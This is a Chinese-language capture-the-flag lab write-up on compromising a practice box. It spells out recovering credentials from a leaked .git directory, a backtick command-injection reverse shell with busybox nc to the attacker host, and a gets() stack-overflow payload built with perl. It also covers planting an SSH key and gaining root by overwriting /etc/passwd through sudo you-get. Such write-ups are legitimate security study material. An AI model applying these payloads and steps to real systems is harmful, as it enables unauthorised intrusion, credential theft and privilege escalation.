GGG靶场学习笔记
正文一、端口扫描二、git 日志检索方法一diff命令对比文件差异方法二checkout命令版本回退三、权限维持四、pwn栈溢出漏洞利用五、伪造公钥利用私钥登录五、you-get文件下载提权操作正文kali攻击机地址192.168.31.188靶场地址192.168.31.221一、端口扫描在kali里使用nmap工具nmap-sV-v-T4-A192.168.31.188靶场开放了22和80端口可能存在git源码泄露。获取git源码,wget-r-nphttp://192.168.31.221/.git/二、git 日志检索查看当前仓库的提交历史记录按时间倒序列出所有提交的哈希值、作者、日期、提交说明。最早的说明就是添加备份文件然后修改然后删除index.html方法一diff命令对比文件差异不过绝大多数实际场景中仓库里的提交数很少Git 只需要用前 7-8 位就能保证在当前仓库里是唯一的。可以通过以下命令查看 Git 能识别的「最短唯一前缀」gitrev-parse--shorte8279ccefbaad9c6454a9395170f87c9cf085534通过diff命令比较不同。gitdiffbc363f58 e8279cce行内容含义说明diff --git a/creds.txt b/creds.txt对比两个版本中的creds.txt文件a/代表旧版本b/代表新版本new file mode 100644说明这个文件是新创建的不是修改旧文件100644是文件权限普通文件所有者可读可写其他用户可读index 00000000..873d342旧版本中这个文件不存在哈希全 0新版本中文件的哈希是873d342--- /dev/null旧版本中这个文件不存在用/dev/null表示 “空文件” b/creds.txt新版本中的文件路径 -0,0 1 表示旧文件从第 0 行开始、共 0 行新文件从第 1 行开始、共 1 行welcome:ThisIsMypasword绿色的表示这一行是新增内容也就是creds.txt文件被创建时写入的唯一一行内容方法二checkout命令版本回退通过命令gitcheckout e8279cc返回表示仓库的当前指针HEAD已经成功指向了哈希前缀为e8279cc的提交这个提交的说明是add backup此时可以查看到当前目录下新变化的文件lscatcreds.txt出现用户名和密码welcome:ThisIsMypasword修改域名gggbabay.ggg.dsz与192.168.31.221关联nano/etc/hosts192.168.31.221 gggbaby.ggg.dsz ggg.dsz表示这两个域名都是指向192.168.31.221192.168.31.221靶场的 IP 地址gggbaby.ggg.dszGit 提交记录里出现过的主机名推测是这个网址rootgggbaby.ggg.dszggg.dsz它的父域名也绑定到同一个 IP登录网址http://gggbabay.ggg.dsz/ 或者 http://ggg.dsz/能明显看到图标变了把之前的用户名密码welcome:ThisIsMypasword粘贴登录会发现一个网络诊断测试测试发现没对反引号过滤编写nc反弹脚本## 可以用brup抓包用sleep 5测试。busyboxnc192.168.31.1884444-e/bin/bash三、权限维持接下来生成伪终端/usr/bin/script-qc/bin/bash /dev/nullCTRLZ 中断连接后使用完整终端stty raw -echo;fgreset尝试重置终端恢复正常为xterm四、pwn栈溢出漏洞利用在根目录下发现opt里存在猫腻。研读一下这个代码扔给AI翻译一下#includeunistd.h// 提供setuid、setgid权限相关系统调用函数#includestdio.h// 标准输入输出库printf、gets、fflush都依赖此头文件#includestring.h// 字符串处理库本程序未实际使用#includestdlib.h// 标准库提供system函数执行系统命令/** * brief 执行反弹Shell函数 * 调用nc工具监听本地1234端口成功连接后给到bash终端 * busybox nc -lp 1234 -e /bin/bash * -l : 开启监听模式 * -p : 指定监听端口1234 * -e : 连接成功后执行/bin/bash实现命令交互 */voidexecute_shell(){system(busybox nc -lp 1234 -e /bin/bash);}/** * brief 程序主函数存在经典栈缓冲区溢出漏洞 * 漏洞成因使用无长度限制读取函数gets可溢出覆盖栈上相邻变量 */intmain(intargc,char*argv[]){setuid(1000);// 设置程序运行用户ID为1000降低运行权限setgid(1000);// 设置程序运行用户组ID为1000限制权限范围charname[60];// 定义60字节栈缓冲区用于接收用户输入intexecute0;// 栈上紧邻缓冲区的判断变量初始值为0printf(Enter your name: );fflush(stdout);// 强制刷新标准输出缓冲区保证文字正常打印gets(name);// 高危漏洞函数无任何长度校验直接读取输入// 输入超出60字节后会向后覆盖栈内存数据printf(Hello, %s!\n,name);// 核心判断逻辑execute变量等于0xABCD1234则触发反弹Shellif(execute0xABCD1234){printf(Launching shell...\n);execute_shell();}else{// 不满足条件则打印当前execute十六进制值printf(flag is 0x%X\n,execute);}return0;}/* 复习重点笔记内嵌文件 1. 栈布局 char name[60] 占用60字节后面紧跟4字节int型execute变量 溢出偏移量60字节 2. 大小端转换规则x86默认小端序 目标值0xABCD1234 拆分字节AB CD 12 34 小端内存存储顺序34 12 CD AB 溢出填充60个任意字符 \x34\x12\xCD\xAB 3. 错误写法禁止 不能写\0x34\0代表\x00空字节会篡改数值导致判断失败 转义固定格式\x 两位十六进制数 4. 漏洞原理 gets不限制输入长度恶意超长输入溢出覆盖execute变量 篡改判断条件绕过if校验执行恶意Shell命令 5. 利用方式 1. 构造60字节填充4字节目标值组成Payload 2. 管道输入运行程序触发漏洞 3. 攻击机使用 nc 目标IP 1234 连接获取交互式Shell */看明白了原理 构造60字节填充4字节目标值组成Payload编写exp:perl-leprint Ax60 . \x34\x12\xcd\xab|./shell_launchperl调用 Perl 解释器执行后面的脚本-l自动在输出末尾加换行-e直接在命令行执行后面的脚本内容不用写文件print Ax60 . \x34\x12\xcd\xabAx60Perl 特有的字符串重复语法生成60 个连续的A填满name[60]缓冲区.Perl 里的字符串拼接运算符把前后两部分 payload 拼起来\x34\x12\xcd\xab目标值0xABCD1234的小端序字节流用来覆盖execute变量| ./shell_launch|管道符把 Perl 脚本生成的二进制 payload直接作为输入传给./shell_launch程序./shell_launch程序执行gets(name)时会读取管道里的超长数据触发栈溢出篡改execute变量执行反弹 shell这个时候再访问靶场会有惊喜nc192.168.31.2211234再次执行第三步的权限维持操作进到anvj用户的伪shell交互界面里。五、伪造公钥利用私钥登录生成生成一对 SSH 密钥公钥 私钥方便你后续无密码登录靶机ssh-keygen-trsa跳转到/home/anjv/.ssh目录就发现生成ida_rsa.pub公钥和id_rsa私钥了cd/home/anjv/.sshls-al在此目录下复制一份ida_rsa.pub公钥到靶场的authorized_keys中并把id_rsa私钥拷贝到攻击机里cpid_rsa.pub authorized_keyscatid_rsaauthorized_keys是 SSH 服务端的授权公钥白名单文件。当你用 SSH 私钥登录时服务端会读取你提交的公钥指纹和 authorized_keys 里的公钥做比对。匹配成功 → 直接免密码登录匹配失败 → 拒绝连接给私钥600权限然后拿着私钥登录chmod600id3sshanjv192.168.31.221-iid3五、you-get文件下载提权操作查看可提权的操作查看程序的逻辑既然是文件下载器那就在下载做做文章在攻击机kali桌面生成一个密码为123456用户为root的passwd文件# 1. 生成加密密码比如密码设为 123456PASS$(opensslpasswd-1123456)# 2. 写入完整格式的用户条目echoroot:$PASS:0:0:root:/root:/bin/bashpasswd# 3. 确认文件内容正确catpasswd# 4. 开启文件分发服务python3-mhttp.server80在靶场里执行命令sudo/usr/local/bin/you-get http://192.168.31.188/passwd-O/etc/passwd-f#输入你之前设置好的密码拿到最高权限拿到最高权限用户root。